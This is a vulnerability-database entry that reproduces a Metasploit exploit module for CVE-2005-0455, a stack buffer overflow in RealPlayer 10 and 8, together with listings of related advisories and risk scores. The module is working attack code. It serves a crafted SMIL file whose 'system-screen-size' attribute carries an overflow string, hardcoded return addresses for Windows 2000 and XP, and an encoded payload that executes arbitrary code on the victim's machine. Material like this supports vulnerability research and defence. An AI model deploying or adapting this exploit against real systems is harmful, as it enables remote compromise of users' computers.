RealNetworks RealPlayer SMIL Buffer Overflow

🗓️ 03 Feb 2007 13:10:31Reported by MC <[email protected]>Type

RealNetworks RealPlayer SMIL Buffer Overflow. Exploits stack buffer overflow in RealPlayer 10 and 8 by creating a URL link to a malicious SMIL file, allowing remote code execution

Reporter	Title	Published	Views	Family All 23
nessus	RealPlayer < 6.0.12.1059 Multiple Remote Overflows	2 Mar 200500:00	–	nessus
nessus	Fedora Core 3 : HelixPlayer-1.0.3-3.fc3 (2005-188)	12 Sep 200500:00	–	nessus
nessus	RealPlayer Multiple Remote Overflows (2005-03-01)	2 Mar 200500:00	–	nessus
nessus	RHEL 4 : RealPlayer (RHSA-2005:265)	4 Mar 200500:00	–	nessus
nessus	RHEL 4 : HelixPlayer (RHSA-2005:271)	4 Mar 200500:00	–	nessus
nessus	RHEL 3 : realplayer (RHSA-2005:299)	21 Mar 200500:00	–	nessus
nessus	SUSE-SA:2005:014: RealPlayer	9 Mar 200500:00	–	nessus
circl	CVE-2005-0455	9 May 201000:00	–	circl
checkpoint_advisories	RealNetworks RealPlayer SMIL File Handling Buffer Overflow (CVE-2005-0455)	29 Nov 200900:00	–	checkpoint_advisories
cve	CVE-2005-0455	2 Mar 200505:00	–	cve

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealNetworks RealPlayer SMIL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
        By creating a URL link to a malicious SMIL file, a remote attacker could
        overflow a buffer and execute arbitrary code.
        When using this module, be sure to set the URIPATH with an extension of '.smil'.
        This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
        build 6.0.9.584.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2005-0455' ],
          [ 'OSVDB', '14305'],
          [ 'BID', '12698' ],
        ],

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },

      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English',     { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
          [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English',   { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2005-03-01',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    cruft  =  rand_text_alpha_upper(1)
    bleh   =  rand_text_alpha_upper(11)

    sploit =  rand_text_alpha_upper(target['Offset']) + payload.encoded
    sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
    sploit << [0xe8, -485].pack('CV')

    # Build the HTML content
    content =  "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
    content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 25.1

EPSS0.5399